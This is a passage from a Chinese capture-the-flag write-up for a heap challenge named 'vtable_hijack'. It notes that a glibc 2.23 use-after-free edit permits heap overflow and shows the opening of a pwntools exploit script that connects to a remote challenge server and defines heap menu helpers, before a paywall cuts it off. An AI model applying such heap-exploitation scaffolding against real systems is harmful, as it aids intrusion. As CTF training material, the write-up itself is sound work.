vtable_hijack
没有去符号表好评
2.23的uaf edit可以直接堆溢出,感觉什么洞都可以打
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p=remote('125.70.243.22',31194)
#p=process('./pwn')
elf=ELF('./pwn')
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s, num: log.success(f"{
s} >>> {
hex(num)}")
def add(idx,size):
sla(b'choice:',b'1')
sla(b'index:',str(idx))
sla(b'size:',str(size))
def free(idx):
sla(b'choice:',b'2')
sla(b'index:',str(idx))
def edit(idx,size

最低0.47元/天 解锁文章
692

被折叠的 条评论
为什么被折叠?



